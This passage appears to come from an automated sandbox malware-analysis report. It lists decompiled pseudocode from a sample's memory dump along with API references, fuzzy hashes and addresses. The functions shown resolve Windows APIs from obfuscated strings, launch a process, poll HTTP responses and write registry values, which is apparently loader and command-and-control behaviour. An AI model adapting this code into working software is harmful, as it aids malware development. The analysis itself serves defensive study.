                  0x04d572ba
                  0x04d572bf
                  0x04d572c4
                  0x04d572ca
                  0x04d572d1
                  0x04d572e2
                  0x04d572e9
                  0x04d572fb
                  0x04d57300
                  0x04d57305
                  0x04d5730e
                  0x04d57317
                  0x04d57320
                  0x04d57336
                  0x04d5733b
                  0x04d5733f
                  0x04d57343
                  0x04d57348
                  0x04d5734d
                  0x04d5734f
                  0x04d5734f
                  0x04d57359
                  0x04d57362
                  0x04d57369
                  0x04d57385
                  0x04d57389
                  0x04d573c2
                  0x04d5738b
                  0x04d5738e
                  0x04d57396
                  0x04d573a7
                  0x04d573af
                  0x04d573b7
                  0x04d573bb
                  0x04d573bb
                  0x04d57389
                  0x04d573ca
                  0x04d573ca
                  0x04d573d2
                  0x04d573d2
                  0x04d573da
                  0x04d573da
                  0x04d573e6

                  APIs
                  • GetTickCount.KERNEL32 ref: 04D57250
                  • lstrlen.KERNEL32(00000000,00000005), ref: 04D572D1
                  • lstrlen.KERNEL32(?), ref: 04D572E2
                  • lstrlen.KERNEL32(00000000), ref: 04D572E9
                  • lstrlenW.KERNEL32(80000002), ref: 04D572F0
                  • lstrlen.KERNEL32(?,00000004), ref: 04D57359
                  • lstrlen.KERNEL32(?), ref: 04D57362
                  • lstrlen.KERNEL32(?), ref: 04D57369
                  • lstrlenW.KERNEL32(?), ref: 04D57370
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: lstrlen$CountFreeHeapTick
                  • String ID:
                  • API String ID: 2535036572-0
                  • Opcode ID: c41f47ab1ae2676e0a9155d952e6526c0050db69ba83489c0a105b596c8d7db5
                  • Instruction ID: b0e2861b4128e2d8385f37f68ac10a97e3558ed11ed2edc52e7ef5d84ccda275
                  • Opcode Fuzzy Hash: c41f47ab1ae2676e0a9155d952e6526c0050db69ba83489c0a105b596c8d7db5
                  • Instruction Fuzzy Hash: C2516D72A00219EBDF11AFA4DC44E9E7BB5EF44368F158065ED18A7220DF35EA11DBA0
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D537DF Relevance: 10.6, APIs: 7, Instructions: 109librarymemoryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 73%
                  			E04D537DF(void* __eax, void* __ecx) {
				long _v8;
				char _v12;
				void* _v16;
				void* _v28;
				long _v32;
				void _v104;
				char _v108;
				long _t36;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t50;
				void* _t58;
				void* _t68;
				intOrPtr* _t70;
				intOrPtr* _t71;

				_t1 = __eax + 0x14; // 0x74183966
				_t69 =  *_t1;
				_t36 = E04D56BF9(__ecx,  *((intOrPtr*)( *_t1 + 0xc)),  &_v12,  &_v16);
				_v8 = _t36;
				if(_t36 != 0) {
					L12:
					return _v8;
				}
				E04D57AB0( *((intOrPtr*)(_t69 + 0xc)),  *((intOrPtr*)(_t69 + 8)), _v12);
				_t40 = _v12(_v12);
				_v8 = _t40;
				if(_t40 == 0 && ( *0x4d5a300 & 0x00000001) != 0) {
					_v32 = 0;
					asm("stosd");
					asm("stosd");
					asm("stosd");
					_v108 = 0;
					memset( &_v104, 0, 0x40);
					_t47 =  *0x4d5a348; // 0xf1d5a8
					_t18 = _t47 + 0x4d5b706; // 0x73797325
					_t68 = E04D5127E(_t18);
					if(_t68 == 0) {
						_v8 = 8;
					} else {
						_t50 =  *0x4d5a348; // 0xf1d5a8
						_t19 = _t50 + 0x4d5b86c; // 0x5c78e14
						_t20 = _t50 + 0x4d5b3f6; // 0x4e52454b
						_t71 = GetProcAddress(GetModuleHandleA(_t20), _t19);
						if(_t71 == 0) {
							_v8 = 0x7f;
						} else {
							_v108 = 0x44;
							E04D55B56();
							_t58 =  *_t71(0, _t68, 0, 0, 0, 0x4000000, 0, 0,  &_v108,  &_v32, 0);
							_push(1);
							E04D55B56();
							if(_t58 == 0) {
								_v8 = GetLastError();
							} else {
								CloseHandle(_v28);
								CloseHandle(_v32);
							}
						}
						HeapFree( *0x4d5a2d8, 0, _t68);
					}
				}
				_t70 = _v16;
				 *((intOrPtr*)(_t70 + 0x18))( *((intOrPtr*)(_t70 + 0x1c))( *_t70));
				E04D561DA(_t70);
				goto L12;
			}


















                  0x04d537e7
                  0x04d537e7
                  0x04d537f6
                  0x04d537fd
                  0x04d53802
                  0x04d5390f
                  0x04d53916
                  0x04d53916
                  0x04d53811
                  0x04d53819
                  0x04d5381c
                  0x04d53821
                  0x04d53836
                  0x04d5383c
                  0x04d5383d
                  0x04d53840
                  0x04d53846
                  0x04d53849
                  0x04d5384e
                  0x04d53856
                  0x04d53862
                  0x04d53866
                  0x04d538f6
                  0x04d5386c
                  0x04d5386c
                  0x04d53871
                  0x04d53878
                  0x04d5388c
                  0x04d53890
                  0x04d538df
                  0x04d53892
                  0x04d53893
                  0x04d5389a
                  0x04d538b3
                  0x04d538b5
                  0x04d538b9
                  0x04d538c0
                  0x04d538da
                  0x04d538c2
                  0x04d538cb
                  0x04d538d0
                  0x04d538d0
                  0x04d538c0
                  0x04d538ee
                  0x04d538ee
                  0x04d53866
                  0x04d538fd
                  0x04d53906
                  0x04d5390a
                  0x00000000

                  APIs
                    • Part of subcall function 04D56BF9: GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04D537FB,?,?,?,?,00000000,00000000), ref: 04D56C1E
                    • Part of subcall function 04D56BF9: GetProcAddress.KERNEL32(00000000,7243775A), ref: 04D56C40
                    • Part of subcall function 04D56BF9: GetProcAddress.KERNEL32(00000000,614D775A), ref: 04D56C56
                    • Part of subcall function 04D56BF9: GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04D56C6C
                    • Part of subcall function 04D56BF9: GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04D56C82
                    • Part of subcall function 04D56BF9: GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04D56C98
                  • memset.NTDLL ref: 04D53849
                    • Part of subcall function 04D5127E: ExpandEnvironmentStringsA.KERNEL32(00000000,00000000,00000000,00000000,74183966,00000000,04D53862,73797325), ref: 04D5128F
                    • Part of subcall function 04D5127E: ExpandEnvironmentStringsA.KERNEL32(?,00000000,00000000,00000000), ref: 04D512A9
                  • GetModuleHandleA.KERNEL32(4E52454B,05C78E14,73797325), ref: 04D5387F
                  • GetProcAddress.KERNEL32(00000000), ref: 04D53886
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04D538EE
                    • Part of subcall function 04D55B56: GetProcAddress.KERNEL32(36776F57,04D52425), ref: 04D55B71
                  • CloseHandle.KERNEL32(00000000,00000001), ref: 04D538CB
                  • CloseHandle.KERNEL32(?), ref: 04D538D0
                  • GetLastError.KERNEL32(00000001), ref: 04D538D4
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$Handle$CloseEnvironmentExpandModuleStrings$ErrorFreeHeapLastmemset
                  • String ID:
                  • API String ID: 3075724336-0
                  • Opcode ID: 1cebcb83deb969139bf2bfcf5ff85223729425b9d5387986d21a78d5de3ea809
                  • Instruction ID: 8df43d5f477cf0f6101f812784e730e22e02ab723f7f60f80ebe40a5abcf6708
                  • Opcode Fuzzy Hash: 1cebcb83deb969139bf2bfcf5ff85223729425b9d5387986d21a78d5de3ea809
                  • Instruction Fuzzy Hash: F73110B5A00219EFDF10AFA8DC99E9EBFBCEB04354F004565EA05A7220DB35AD44DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D53FA5 Relevance: 10.6, APIs: 7, Instructions: 92networksynchronizationCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D53FA5(void* __ecx, void* __esi) {
				long _v8;
				long _v12;
				long _v16;
				long _v20;
				long _t34;
				long _t39;
				long _t42;
				long _t56;
				void* _t58;
				void* _t59;
				void* _t61;

				_t61 = __esi;
				_t59 = __ecx;
				 *((intOrPtr*)(__esi + 0x2c)) = 0;
				do {
					_t34 = WaitForSingleObject( *(_t61 + 0x1c), 0);
					_v20 = _t34;
					if(_t34 != 0) {
						L3:
						_v8 = 4;
						_v16 = 0;
						if(HttpQueryInfoA( *(_t61 + 0x18), 0x20000013, _t61 + 0x2c,  &_v8,  &_v16) == 0) {
							_t39 = GetLastError();
							_v12 = _t39;
							if(_v20 == 0 || _t39 != 0x2ef3) {
								L15:
								return _v12;
							} else {
								goto L11;
							}
						}
						if(_v8 != 4 ||  *(_t61 + 0x2c) == 0) {
							goto L11;
						} else {
							_v16 = 0;
							_v8 = 0;
							HttpQueryInfoA( *(_t61 + 0x18), 0x16, 0,  &_v8,  &_v16);
							_t58 = E04D533DC(_v8 + 1);
							if(_t58 == 0) {
								_v12 = 8;
							} else {
								if(HttpQueryInfoA( *(_t61 + 0x18), 0x16, _t58,  &_v8,  &_v16) == 0) {
									E04D561DA(_t58);
									_v12 = GetLastError();
								} else {
									 *((char*)(_t58 + _v8)) = 0;
									 *(_t61 + 0xc) = _t58;
								}
							}
							goto L15;
						}
					}
					SetEvent( *(_t61 + 0x1c));
					_t56 =  *((intOrPtr*)(_t61 + 0x28));
					_v12 = _t56;
					if(_t56 != 0) {
						goto L15;
					}
					goto L3;
					L11:
					_t42 = E04D516B2( *(_t61 + 0x1c), _t59, 0xea60);
					_v12 = _t42;
				} while (_t42 == 0);
				goto L15;
			}














                  0x04d53fa5
                  0x04d53fa5
                  0x04d53fb5
                  0x04d53fb8
                  0x04d53fbc
                  0x04d53fc2
                  0x04d53fc7
                  0x04d53fe0
                  0x04d53ff4
                  0x04d53ffb
                  0x04d54002
                  0x04d54055
                  0x04d5405b
                  0x04d54061
                  0x04d5409c
                  0x04d540a2
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d54061
                  0x04d54008
                  0x00000000
                  0x04d5400f
                  0x04d5401d
                  0x04d54020
                  0x04d54023
                  0x04d5402f
                  0x04d54033
                  0x04d54095
                  0x04d54035
                  0x04d54047
                  0x04d54085
                  0x04d54090
                  0x04d54049
                  0x04d5404c
                  0x04d54050
                  0x04d54050
                  0x04d54047
                  0x00000000
                  0x04d54033
                  0x04d54008
                  0x04d53fcc
                  0x04d53fd2
                  0x04d53fd5
                  0x04d53fda
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d5406a
                  0x04d54072
                  0x04d54077
                  0x04d5407a
                  0x00000000

                  APIs
                  • WaitForSingleObject.KERNEL32(?,00000000,00000000,00000102,?,74CF81D0,00000000,00000000), ref: 04D53FBC
                  • SetEvent.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000,04D53F34,00000000,?), ref: 04D53FCC
                  • HttpQueryInfoA.WININET(?,20000013,?,?), ref: 04D53FFE
                  • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04D54023
                  • HttpQueryInfoA.WININET(?,00000016,00000000,00000004,?), ref: 04D54043
                  • GetLastError.KERNEL32 ref: 04D54055
                    • Part of subcall function 04D516B2: WaitForMultipleObjects.KERNEL32(00000002,04D57C47,00000000,04D57C47,?,?,?,04D57C47,0000EA60), ref: 04D516CD
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  • GetLastError.KERNEL32(00000000), ref: 04D5408A
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: HttpInfoQuery$ErrorLastWait$EventFreeHeapMultipleObjectObjectsSingle
                  • String ID:
                  • API String ID: 3369646462-0
                  • Opcode ID: 8db07537600909df5b351d837b7b00c7eb94e8c81ef83f02a3aecbcf0c2b49aa
                  • Instruction ID: dca8fe5aab248f3ac1acd19bfaa76986dcb8c0d76aee6e45fce6232030f0a612
                  • Opcode Fuzzy Hash: 8db07537600909df5b351d837b7b00c7eb94e8c81ef83f02a3aecbcf0c2b49aa
                  • Instruction Fuzzy Hash: A63122B5E00309EFDF20DFE5C884A9EB7B8FB08354F204969D942A3251DB75EA449F51
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D53A63 Relevance: 9.1, APIs: 6, Instructions: 126memoryCOMMON
                  Download Yara Rule
                  APIs
                  • SysAllocString.OLEAUT32(00000000), ref: 04D53ABD
                  • SysAllocString.OLEAUT32(0070006F), ref: 04D53AD1
                  • SysAllocString.OLEAUT32(00000000), ref: 04D53AE3
                  • SysFreeString.OLEAUT32(00000000), ref: 04D53B4B
                  • SysFreeString.OLEAUT32(00000000), ref: 04D53B5A
                  • SysFreeString.OLEAUT32(00000000), ref: 04D53B65
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: String$AllocFree
                  • String ID:
                  • API String ID: 344208780-0
                  • Opcode ID: 486f1c6a15fd45e6d65accf9d69f2cea8d63a17516dd7a94e1143c3b76e29c8b
                  • Instruction ID: f2304a8672f4f1c48ba13c4328969cf5d22ccfcdeb0f844c54b581d5fd506613
                  • Opcode Fuzzy Hash: 486f1c6a15fd45e6d65accf9d69f2cea8d63a17516dd7a94e1143c3b76e29c8b
                  • Instruction Fuzzy Hash: 00414C36A00609ABDF01DFACD854A9EB7BAEF49341F144466ED14EB220DF71ED05CB91
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D56BF9 Relevance: 9.1, APIs: 6, Instructions: 81libraryloaderCOMMON
                  Download Yara Rule
                  C-Code - Quality: 100%
                  			E04D56BF9(void* __ecx, intOrPtr _a4, intOrPtr _a8, intOrPtr* _a12) {
				intOrPtr _v8;
				intOrPtr _t23;
				intOrPtr _t26;
				_Unknown_base(*)()* _t28;
				intOrPtr _t30;
				_Unknown_base(*)()* _t32;
				intOrPtr _t33;
				_Unknown_base(*)()* _t35;
				intOrPtr _t36;
				_Unknown_base(*)()* _t38;
				intOrPtr _t39;
				_Unknown_base(*)()* _t41;
				intOrPtr _t44;
				struct HINSTANCE__* _t48;
				intOrPtr _t54;

				_t54 = E04D533DC(0x20);
				if(_t54 == 0) {
					_v8 = 8;
				} else {
					_t23 =  *0x4d5a348; // 0xf1d5a8
					_t1 = _t23 + 0x4d5b436; // 0x4c44544e
					_t48 = GetModuleHandleA(_t1);
					_t26 =  *0x4d5a348; // 0xf1d5a8
					_t2 = _t26 + 0x4d5b85c; // 0x7243775a
					_v8 = 0x7f;
					_t28 = GetProcAddress(_t48, _t2);
					 *(_t54 + 0xc) = _t28;
					if(_t28 == 0) {
						L8:
						E04D561DA(_t54);
					} else {
						_t30 =  *0x4d5a348; // 0xf1d5a8
						_t5 = _t30 + 0x4d5b849; // 0x614d775a
						_t32 = GetProcAddress(_t48, _t5);
						 *(_t54 + 0x10) = _t32;
						if(_t32 == 0) {
							goto L8;
						} else {
							_t33 =  *0x4d5a348; // 0xf1d5a8
							_t7 = _t33 + 0x4d5b72b; // 0x6e55775a
							_t35 = GetProcAddress(_t48, _t7);
							 *(_t54 + 0x14) = _t35;
							if(_t35 == 0) {
								goto L8;
							} else {
								_t36 =  *0x4d5a348; // 0xf1d5a8
								_t9 = _t36 + 0x4d5b883; // 0x4e6c7452
								_t38 = GetProcAddress(_t48, _t9);
								 *(_t54 + 0x18) = _t38;
								if(_t38 == 0) {
									goto L8;
								} else {
									_t39 =  *0x4d5a348; // 0xf1d5a8
									_t11 = _t39 + 0x4d5b87b; // 0x6c43775a
									_t41 = GetProcAddress(_t48, _t11);
									 *(_t54 + 0x1c) = _t41;
									if(_t41 == 0) {
										goto L8;
									} else {
										 *((intOrPtr*)(_t54 + 4)) = _a4;
										 *((intOrPtr*)(_t54 + 8)) = 0x40;
										_t44 = E04D57A08(_t54, _a8);
										_v8 = _t44;
										if(_t44 != 0) {
											goto L8;
										} else {
											 *_a12 = _t54;
										}
									}
								}
							}
						}
					}
				}
				return _v8;
			}


















                  0x04d56c08
                  0x04d56c0c
                  0x04d56cce
                  0x04d56c12
                  0x04d56c12
                  0x04d56c17
                  0x04d56c2a
                  0x04d56c2c
                  0x04d56c31
                  0x04d56c39
                  0x04d56c40
                  0x04d56c42
                  0x04d56c47
                  0x04d56cc6
                  0x04d56cc7
                  0x04d56c49
                  0x04d56c49
                  0x04d56c4e
                  0x04d56c56
                  0x04d56c58
                  0x04d56c5d
                  0x00000000
                  0x04d56c5f
                  0x04d56c5f
                  0x04d56c64
                  0x04d56c6c
                  0x04d56c6e
                  0x04d56c73
                  0x00000000
                  0x04d56c75
                  0x04d56c75
                  0x04d56c7a
                  0x04d56c82
                  0x04d56c84
                  0x04d56c89
                  0x00000000
                  0x04d56c8b
                  0x04d56c8b
                  0x04d56c90
                  0x04d56c98
                  0x04d56c9a
                  0x04d56c9f
                  0x00000000
                  0x04d56ca1
                  0x04d56ca7
                  0x04d56cac
                  0x04d56cb3
                  0x04d56cb8
                  0x04d56cbd
                  0x00000000
                  0x04d56cbf
                  0x04d56cc2
                  0x04d56cc2
                  0x04d56cbd
                  0x04d56c9f
                  0x04d56c89
                  0x04d56c73
                  0x04d56c5d
                  0x04d56c47
                  0x04d56cdc

                  APIs
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • GetModuleHandleA.KERNEL32(4C44544E,00000020,?,74183966,00000000,?,?,?,04D537FB,?,?,?,?,00000000,00000000), ref: 04D56C1E
                  • GetProcAddress.KERNEL32(00000000,7243775A), ref: 04D56C40
                  • GetProcAddress.KERNEL32(00000000,614D775A), ref: 04D56C56
                  • GetProcAddress.KERNEL32(00000000,6E55775A), ref: 04D56C6C
                  • GetProcAddress.KERNEL32(00000000,4E6C7452), ref: 04D56C82
                  • GetProcAddress.KERNEL32(00000000,6C43775A), ref: 04D56C98
                    • Part of subcall function 04D57A08: memset.NTDLL ref: 04D57A87
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: AddressProc$AllocateHandleHeapModulememset
                  • String ID:
                  • API String ID: 1886625739-0
                  • Opcode ID: 47a4f339a4207b71773d53b721c8897969c032b4d2387ed012abab5bbec2a325
                  • Instruction ID: 8e32ad38a72bddbf19f3dfa9dd26066616889cede9a37f8905fd8c9bb40dd3af
                  • Opcode Fuzzy Hash: 47a4f339a4207b71773d53b721c8897969c032b4d2387ed012abab5bbec2a325
                  • Instruction Fuzzy Hash: D42130B060071AAFEB10DF6AC954E6ABBFCEF443447448916E919C7321EF74F9488B60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D54C94 Relevance: 8.9, APIs: 3, Strings: 2, Instructions: 167stringCOMMON
                  Download Yara Rule
                  C-Code - Quality: 88%
                  			E04D54C94(void* __ecx, char* _a8, char _a16, intOrPtr* _a20, char _a24) {
				signed int _v8;
				char _v12;
				signed int* _v16;
				char _v284;
				void* __esi;
				char* _t59;
				intOrPtr* _t60;
				intOrPtr _t64;
				char _t65;
				intOrPtr _t68;
				intOrPtr _t69;
				intOrPtr _t71;
				void* _t73;
				signed int _t81;
				void* _t91;
				void* _t92;
				char _t98;
				signed int* _t100;
				intOrPtr* _t101;
				void* _t102;

				_t92 = __ecx;
				_v8 = _v8 & 0x00000000;
				_t98 = _a16;
				if(_t98 == 0) {
					__imp__( &_v284,  *0x4d5a3dc);
					_t91 = 0x80000002;
					L6:
					_t59 = E04D56536( &_v284,  &_v284);
					_a8 = _t59;
					if(_t59 == 0) {
						_v8 = 8;
						L29:
						_t60 = _a20;
						if(_t60 != 0) {
							 *_t60 =  *_t60 + 1;
						}
						return _v8;
					}
					_t101 = _a24;
					if(E04D5313F(_t92, _t97, _t101, _t91, _t59) != 0) {
						L27:
						E04D561DA(_a8);
						goto L29;
					}
					_t64 =  *0x4d5a318; // 0x5c79dd8
					_t16 = _t64 + 0xc; // 0x5c79efa
					_t65 = E04D56536(_t64,  *_t16);
					_a24 = _t65;
					if(_t65 == 0) {
						L14:
						_t29 = _t101 + 0x14; // 0x102
						_t33 = _t101 + 0x10; // 0x3d04d590
						if(E04D57767(_t97,  *_t33, _t91, _a8,  *0x4d5a3d4,  *((intOrPtr*)( *_t29 + 0x28)),  *((intOrPtr*)( *_t29 + 0x2c))) == 0) {
							_t68 =  *0x4d5a348; // 0xf1d5a8
							if(_t98 == 0) {
								_t35 = _t68 + 0x4d5bb5a; // 0x4d4c4b48
								_t69 = _t35;
							} else {
								_t34 = _t68 + 0x4d5bbac; // 0x55434b48
								_t69 = _t34;
							}
							if(E04D57238(_t69,  *0x4d5a3d4,  *0x4d5a3d8,  &_a24,  &_a16) == 0) {
								if(_t98 == 0) {
									_t71 =  *0x4d5a348; // 0xf1d5a8
									_t44 = _t71 + 0x4d5b332; // 0x74666f53
									_t73 = E04D56536(_t44, _t44);
									_t99 = _t73;
									if(_t73 == 0) {
										_v8 = 8;
									} else {
										_t47 = _t101 + 0x10; // 0x3d04d590
										E04D55B0E( *_t47, _t91, _a8,  *0x4d5a3d8, _a24);
										_t49 = _t101 + 0x10; // 0x3d04d590
										E04D55B0E( *_t49, _t91, _t99,  *0x4d5a3d0, _a16);
										E04D561DA(_t99);
									}
								} else {
									_t40 = _t101 + 0x10; // 0x3d04d590
									E04D55B0E( *_t40, _t91, _a8,  *0x4d5a3d8, _a24);
									_t43 = _t101 + 0x10; // 0x3d04d590
									E04D55B0E( *_t43, _t91, _a8,  *0x4d5a3d0, _a16);
								}
								if( *_t101 != 0) {
									E04D561DA(_a24);
								} else {
									 *_t101 = _a16;
								}
							}
						}
						goto L27;
					}
					_t21 = _t101 + 0x10; // 0x3d04d590
					_t81 = E04D558BD( *_t21, _t91, _a8, _t65,  &_v16,  &_v12);
					if(_t81 == 0) {
						_t100 = _v16;
						if(_v12 == 0x28) {
							 *_t100 =  *_t100 & _t81;
							_t26 = _t101 + 0x10; // 0x3d04d590
							E04D57767(_t97,  *_t26, _t91, _a8, _a24, _t100, 0x28);
						}
						E04D561DA(_t100);
						_t98 = _a16;
					}
					E04D561DA(_a24);
					goto L14;
				}
				if(_t98 <= 8 || _t98 + 0x2a >= 0x104 || StrChrA(_a8, 0x5f) != 0) {
					goto L29;
				} else {
					_t97 = _a8;
					E04D57AB0(_t98, _a8,  &_v284);
					__imp__(_t102 + _t98 - 0x117,  *0x4d5a3dc);
					 *((char*)(_t102 + _t98 - 0x118)) = 0x5c;
					_t91 = 0x80000003;
					goto L6;
				}
			}























                  0x04d54c94
                  0x04d54c9d
                  0x04d54ca4
                  0x04d54ca9
                  0x04d54d16
                  0x04d54d1c
                  0x04d54d21
                  0x04d54d28
                  0x04d54d2d
                  0x04d54d32
                  0x04d54e9d
                  0x04d54ea4
                  0x04d54ea4
                  0x04d54ea9
                  0x04d54eab
                  0x04d54eab
                  0x04d54eb4
                  0x04d54eb4
                  0x04d54d38
                  0x04d54d44
                  0x04d54e93
                  0x04d54e96
                  0x00000000
                  0x04d54e96
                  0x04d54d4a
                  0x04d54d4f
                  0x04d54d52
                  0x04d54d57
                  0x04d54d5c
                  0x04d54da5
                  0x04d54da5
                  0x04d54db8
                  0x04d54dc2
                  0x04d54dc8
                  0x04d54dcf
                  0x04d54dd9
                  0x04d54dd9
                  0x04d54dd1
                  0x04d54dd1
                  0x04d54dd1
                  0x04d54dd1
                  0x04d54dfb
                  0x04d54e03
                  0x04d54e31
                  0x04d54e36
                  0x04d54e3d
                  0x04d54e42
                  0x04d54e46
                  0x04d54e78
                  0x04d54e48
                  0x04d54e55
                  0x04d54e58
                  0x04d54e68
                  0x04d54e6b
                  0x04d54e71
                  0x04d54e71
                  0x04d54e05
                  0x04d54e12
                  0x04d54e15
                  0x04d54e27
                  0x04d54e2a
                  0x04d54e2a
                  0x04d54e82
                  0x04d54e8e
                  0x04d54e84
                  0x04d54e87
                  0x04d54e87
                  0x04d54e82
                  0x04d54dfb
                  0x00000000
                  0x04d54dc2
                  0x04d54d6b
                  0x04d54d6e
                  0x04d54d75
                  0x04d54d7b
                  0x04d54d7e
                  0x04d54d80
                  0x04d54d8c
                  0x04d54d8f
                  0x04d54d8f
                  0x04d54d95
                  0x04d54d9a
                  0x04d54d9a
                  0x04d54da0
                  0x00000000
                  0x04d54da0
                  0x04d54cae
                  0x00000000
                  0x04d54cd5
                  0x04d54cd5
                  0x04d54ce1
                  0x04d54cf4
                  0x04d54cfa
                  0x04d54d02
                  0x00000000
                  0x04d54d02

                  APIs
                  • StrChrA.SHLWAPI(04D56A76,0000005F,00000000,00000000,00000104), ref: 04D54CC7
                  • lstrcpy.KERNEL32(?,?), ref: 04D54CF4
                    • Part of subcall function 04D56536: lstrlen.KERNEL32(?,00000000,05C79DD8,00000000,04D56F0A,05C79FFB,43175AC3,?,?,?,?,43175AC3,00000005,04D5A00C,4D283A53,?), ref: 04D5653D
                    • Part of subcall function 04D56536: mbstowcs.NTDLL ref: 04D56566
                    • Part of subcall function 04D56536: memset.NTDLL ref: 04D56578
                    • Part of subcall function 04D55B0E: lstrlenW.KERNEL32(?,?,?,04D54E5D,3D04D590,80000002,04D56A76,04D557D1,74666F53,4D4C4B48,04D557D1,?,3D04D590,80000002,04D56A76,?), ref: 04D55B33
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  • lstrcpy.KERNEL32(?,00000000), ref: 04D54D16
                  Strings
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: lstrcpylstrlen$FreeHeapmbstowcsmemset
                  • String ID: ($\
                  • API String ID: 3924217599-1512714803
                  • Opcode ID: 269a05d0cf0d6a411a1396355d445f47fd1522cd2e2021e5342a4d64e772901e
                  • Instruction ID: 0b2e90f39825209d08b811e30c3be0170a68d0b32d301026528c9adbe8544908
                  • Opcode Fuzzy Hash: 269a05d0cf0d6a411a1396355d445f47fd1522cd2e2021e5342a4d64e772901e
                  • Instruction Fuzzy Hash: 64513872600209FFEF129FA0DD44EAA3BB9FB04658F008515FD1596270DF36E965AB21
                  Uniqueness

                  Uniqueness Score: -1.00%

